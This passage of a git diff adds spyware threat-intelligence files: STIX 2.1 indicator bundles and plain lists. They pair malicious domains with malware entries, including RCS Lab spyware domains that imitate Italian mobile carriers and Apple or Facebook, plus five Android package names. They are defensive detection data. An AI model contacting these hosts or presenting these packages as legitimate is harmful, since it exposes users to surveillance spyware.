"created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d507d155-beab-4908-b669-f9b689584364", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='elektrozi.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--027bbc10-b9bd-42a8-b338-2153b5439f47", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d507d155-beab-4908-b669-f9b689584364", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--93f760d2-5910-4c2b-8ce0-d9f39c65a266", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='thepila.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--f929ad11-a4fa-4565-abdf-596fd61d0ec3", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--93f760d2-5910-4c2b-8ce0-d9f39c65a266", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--47ad3877-6653-4f71-ab61-d8b12ecf7442", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='thegreenlight.xyz']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3cf7dfb8-9cdd-42a5-900d-28f3bbfe3616", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--47ad3877-6653-4f71-ab61-d8b12ecf7442", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--e7827d1e-ea6d-48a8-b46f-4dd39e5c4195", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='gosport24.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--05886216-41dc-4ae0-a487-e5975ca13149", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--e7827d1e-ea6d-48a8-b46f-4dd39e5c4195", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--5efe47c3-9f52-49a3-9e76-dce0f9d2e09d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='classiccolor.live']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--ddca2f99-e846-425d-9ac7-7a8496afbc82", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--5efe47c3-9f52-49a3-9e76-dce0f9d2e09d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--96c777aa-449b-4d17-b9c8-68d10245819e", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='shoeszise.xyz']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--731cb703-7fd3-4332-bac3-47814bcdb545", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--96c777aa-449b-4d17-b9c8-68d10245819e", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--ace511c0-b23c-4a4e-a36d-47c250626edf", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='cleanitgo.info']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--bd024e34-418a-4584-9191-900941162758", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--ace511c0-b23c-4a4e-a36d-47c250626edf", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--7cf7e90d-0356-43dd-9bad-d067e368dc1d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='setclass.live']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--0fa729c3-be76-4d0f-8404-9666cefb105f", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--7cf7e90d-0356-43dd-9bad-d067e368dc1d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d6b19072-07b2-4967-b4f9-2706626c7f97", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='white-rhino.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--ac7d6812-d0f3-46b1-93d1-36a803cb5868", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d6b19072-07b2-4967-b4f9-2706626c7f97", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d811b3ac-00ff-4c3b-b3d3-7786b5016764", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='space-moon.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--ac619d22-0e7f-4301-876a-9d8aae3c30b3", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d811b3ac-00ff-4c3b-b3d3-7786b5016764", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--bc65aede-bcd4-486d-b263-5e8bd6c7174b", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='enrollering.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--ce9cce9b-bfd2-4abb-b7de-cb4f13650e78", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--bc65aede-bcd4-486d-b263-5e8bd6c7174b", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--1312ff12-56d0-427d-bc01-630af6182a72", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='newslocalupdates.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--68877413-d031-4e04-b2a6-d1e6bb95b543", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--1312ff12-56d0-427d-bc01-630af6182a72", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--f554d0e9-4607-4aaf-a90c-d328669c0135", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='newsbuiltin.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--6cf31b4d-f2a0-4496-90ba-100bb0564296", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--f554d0e9-4607-4aaf-a90c-d328669c0135", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--0a159403-0786-4e9a-8351-c452112ab70e", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='beendos.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--2131bc9f-92b2-4160-b16f-b3354a1f5f56", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--0a159403-0786-4e9a-8351-c452112ab70e", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b6416f29-cd4c-4a30-a82d-3a4404e28e9f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='linestrip.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--0de4aeae-7e20-4785-b682-103acca1ab5e", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b6416f29-cd4c-4a30-a82d-3a4404e28e9f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--833a0b61-f62c-4a80-a67a-40f8ef455121", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='sunnyweek.site']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--6851c2ea-8b52-475c-af78-292080d89bbb", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--833a0b61-f62c-4a80-a67a-40f8ef455121", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + } + ], + "type" : "bundle" +} \ No newline at end of file diff --git a/data/ioc/spyware/mvt/2022-06-23_rcs_lab/domains.txt b/data/ioc/spyware/mvt/2022-06-23_rcs_lab/domains.txt new file mode 100644 index 0000000..2756b19 --- /dev/null +++ b/data/ioc/spyware/mvt/2022-06-23_rcs_lab/domains.txt @@ -0,0 +1,26 @@ +119-tim.info +133-tre.info +146-fastweb.info +155-wind.info +159-windtre.info +amex-co.info +apps.fb-techsupport.com +business.wind-h3g.info +cloud-apple.info +comtencentmobileqq-6ffb5.appspot.com +comxdjajxclient.appspot.com +fb-techsupport.com +fintur-a111a.appspot.com +ho-mobile.online +iliad.info +kena-mobile.info +milf.house +mobdemo.info +mobilepays.info +my190.info +poste-it.info +project1-c094e.appspot.com +rojavanetwork.info +safekeyservice-972cd.appspot.com +store-apple.info +wind-h3g.info diff --git a/data/ioc/spyware/mvt/2022-06-23_rcs_lab/package_names.txt b/data/ioc/spyware/mvt/2022-06-23_rcs_lab/package_names.txt new file mode 100644 index 0000000..0b95f8d --- /dev/null +++ b/data/ioc/spyware/mvt/2022-06-23_rcs_lab/package_names.txt @@ -0,0 +1,5 @@ +com.androidservices.support +com.vodaservices +com.fintur.support +com.xdja.safekeyservice +com.xdja.jxclient diff --git a/data/ioc/spyware/mvt/2022-06-23_rcs_lab/rcs.stix2 b/data/ioc/spyware/mvt/2022-06-23_rcs_lab/rcs.stix2 new file mode 100644 index 0000000..7c519e4 --- /dev/null +++ b/data/ioc/spyware/mvt/2022-06-23_rcs_lab/rcs.stix2 @@ -0,0 +1,975 @@ +{ + "type": "bundle", + "id": "bundle--8fe0fa1c-a385-4539-9a3f-22c8e4d0d635", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0", + "created": "2022-06-24T13:12:26.333305Z", + "modified": "2022-06-24T13:12:26.333305Z", + "name": "RCSLab", + "is_family": true + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c6b4d6d-a2eb-41ba-9be8-1793a9b2ed9d", + "created": "2022-06-24T13:12:26.333619Z", + "modified": "2022-06-24T13:12:26.333619Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='119-tim.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.333619Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--92d3f95d-f580-45a6-9692-6827ec325966", + "created": "2022-06-24T13:12:26.339881Z", + "modified": "2022-06-24T13:12:26.339881Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c6b4d6d-a2eb-41ba-9be8-1793a9b2ed9d", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a69c42b-6c5b-4351-a8f1-b8896460dd3b", + "created": "2022-06-24T13:12:26.34046Z", + "modified": "2022-06-24T13:12:26.34046Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='133-tre.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.34046Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a6b73c1-8047-4a86-8a0f-dc3057745902", + "created": "2022-06-24T13:12:26.341296Z", + "modified": "2022-06-24T13:12:26.341296Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a69c42b-6c5b-4351-a8f1-b8896460dd3b", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d1797b5-5aa0-4aa9-8153-82f1de10da25", + "created": "2022-06-24T13:12:26.341518Z", + "modified": "2022-06-24T13:12:26.341518Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='146-fastweb.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.341518Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4770dc39-d90a-4347-b305-4cedb5028dc8", + "created": "2022-06-24T13:12:26.342472Z", + "modified": "2022-06-24T13:12:26.342472Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d1797b5-5aa0-4aa9-8153-82f1de10da25", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--324552fc-2fa9-45b7-a813-fb9033caf2eb", + "created": "2022-06-24T13:12:26.342693Z", + "modified": "2022-06-24T13:12:26.342693Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='155-wind.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.342693Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b97ace08-1734-4ef5-b686-f17f20ecaed2", + "created": "2022-06-24T13:12:26.343472Z", + "modified": "2022-06-24T13:12:26.343472Z", + "relationship_type": "indicates", + "source_ref": "indicator--324552fc-2fa9-45b7-a813-fb9033caf2eb", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--923369af-e465-4787-a235-80198057ee11", + "created": "2022-06-24T13:12:26.343693Z", + "modified": "2022-06-24T13:12:26.343693Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='159-windtre.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.343693Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a67f1ffb-79ca-43d3-a185-d2fba4b1f217", + "created": "2022-06-24T13:12:26.344322Z", + "modified": "2022-06-24T13:12:26.344322Z", + "relationship_type": "indicates", + "source_ref": "indicator--923369af-e465-4787-a235-80198057ee11", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b1dab2a-ee94-4d9a-aa52-180baeed3be1", + "created": "2022-06-24T13:12:26.34454Z", + "modified": "2022-06-24T13:12:26.34454Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amex-co.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.34454Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f202350-8ca0-4a9f-8360-60c764dc28c4", + "created": "2022-06-24T13:12:26.345345Z", + "modified": "2022-06-24T13:12:26.345345Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b1dab2a-ee94-4d9a-aa52-180baeed3be1", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3d4e132-1311-4eeb-a293-f9ed98f623c4", + "created": "2022-06-24T13:12:26.345566Z", + "modified": "2022-06-24T13:12:26.345566Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='apps.fb-techsupport.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.345566Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2a418aa-e75f-444a-835c-5bcb7f9f58b3", + "created": "2022-06-24T13:12:26.346385Z", + "modified": "2022-06-24T13:12:26.346385Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3d4e132-1311-4eeb-a293-f9ed98f623c4", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5daf9871-e1d5-456e-b3a4-4b3d6f7431fd", + "created": "2022-06-24T13:12:26.346605Z", + "modified": "2022-06-24T13:12:26.346605Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='business.wind-h3g.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.346605Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6110248d-6c73-45b1-ae9d-236cad2a474e", + "created": "2022-06-24T13:12:26.347419Z", + "modified": "2022-06-24T13:12:26.347419Z", + "relationship_type": "indicates", + "source_ref": "indicator--5daf9871-e1d5-456e-b3a4-4b3d6f7431fd", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--188342a3-2ed0-42ea-aa6e-5e41d473604d", + "created": "2022-06-24T13:12:26.347656Z", + "modified": "2022-06-24T13:12:26.347656Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cloud-apple.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.347656Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cc5927ba-6c8b-44f8-8eb7-83993c5828b8", + "created": "2022-06-24T13:12:26.348513Z", + "modified": "2022-06-24T13:12:26.348513Z", + "relationship_type": "indicates", + "source_ref": "indicator--188342a3-2ed0-42ea-aa6e-5e41d473604d", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7a4ea108-4d57-48c0-8d83-1243521dbc90", + "created": "2022-06-24T13:12:26.348737Z", + "modified": "2022-06-24T13:12:26.348737Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='comtencentmobileqq-6ffb5.appspot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.348737Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5b39695f-b470-489e-89d9-7f033bc8bc39", + "created": "2022-06-24T13:12:26.349462Z", + "modified": "2022-06-24T13:12:26.349462Z", + "relationship_type": "indicates", + "source_ref": "indicator--7a4ea108-4d57-48c0-8d83-1243521dbc90", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9f6af5b5-3c50-47e5-b259-70ff4c260db2", + "created": "2022-06-24T13:12:26.349682Z", + "modified": "2022-06-24T13:12:26.349682Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='comxdjajxclient.appspot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.349682Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6a0b7b23-c8fd-499f-8306-e0f6da3e681f", + "created": "2022-06-24T13:12:26.350392Z", + "modified": "2022-06-24T13:12:26.350392Z", + "relationship_type": "indicates", + "source_ref": "indicator--9f6af5b5-3c50-47e5-b259-70ff4c260db2", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--58132773-47e3-4e94-a314-e03f2815cdf1", + "created": "2022-06-24T13:12:26.350609Z", + "modified": "2022-06-24T13:12:26.350609Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fb-techsupport.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.350609Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--31f08a85-6930-44ac-88d6-6b7b94d92c33", + "created": "2022-06-24T13:12:26.351318Z", + "modified": "2022-06-24T13:12:26.351318Z", + "relationship_type": "indicates", + "source_ref": "indicator--58132773-47e3-4e94-a314-e03f2815cdf1", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f54d7d64-5e92-470f-aa06-dc7507230e86", + "created": "2022-06-24T13:12:26.351538Z", + "modified": "2022-06-24T13:12:26.351538Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fintur-a111a.appspot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.351538Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c217cf0-f45f-4dd3-8ce4-e844c38d4c5c", + "created": "2022-06-24T13:12:26.352165Z", + "modified": "2022-06-24T13:12:26.352165Z", + "relationship_type": "indicates", + "source_ref": "indicator--f54d7d64-5e92-470f-aa06-dc7507230e86", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c02b7f2f-0583-475a-a6c5-fe7b88ed4768", + "created": "2022-06-24T13:12:26.352382Z", + "modified": "2022-06-24T13:12:26.352382Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ho-mobile.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.352382Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ac5c41a1-891c-4930-a22f-c709a9d41040", + "created": "2022-06-24T13:12:26.353073Z", + "modified": "2022-06-24T13:12:26.353073Z", + "relationship_type": "indicates", + "source_ref": "indicator--c02b7f2f-0583-475a-a6c5-fe7b88ed4768", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a7a2752-0176-43c3-b6e9-a552cd370535", + "created": "2022-06-24T13:12:26.353292Z", + "modified": "2022-06-24T13:12:26.353292Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='iliad.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.353292Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--74d9da1b-0a11-4a09-82fc-7b357a407e20", + "created": "2022-06-24T13:12:26.353975Z", + "modified": "2022-06-24T13:12:26.353975Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a7a2752-0176-43c3-b6e9-a552cd370535", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--06930171-82b7-4d74-b3f0-a6f0150c7157", + "created": "2022-06-24T13:12:26.354193Z", + "modified": "2022-06-24T13:12:26.354193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kena-mobile.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.354193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc304f5c-ad2f-49d7-be95-7b0914691e6b", + "created": "2022-06-24T13:12:26.354884Z", + "modified": "2022-06-24T13:12:26.354884Z", + "relationship_type": "indicates", + "source_ref": "indicator--06930171-82b7-4d74-b3f0-a6f0150c7157", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d48fc99-2480-408a-9bc2-0121f26828af", + "created": "2022-06-24T13:12:26.3551Z", + "modified": "2022-06-24T13:12:26.3551Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='milf.house']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.3551Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b5a8821b-a640-4c2c-951d-3d14312eeccc", + "created": "2022-06-24T13:12:26.355797Z", + "modified": "2022-06-24T13:12:26.355797Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d48fc99-2480-408a-9bc2-0121f26828af", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8061b446-98aa-4a24-be04-49acbc0a3c90", + "created": "2022-06-24T13:12:26.356014Z", + "modified": "2022-06-24T13:12:26.356014Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mobdemo.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.356014Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a99c0527-c20d-435b-a759-e5a9bcb4dd07", + "created": "2022-06-24T13:12:26.356627Z", + "modified": 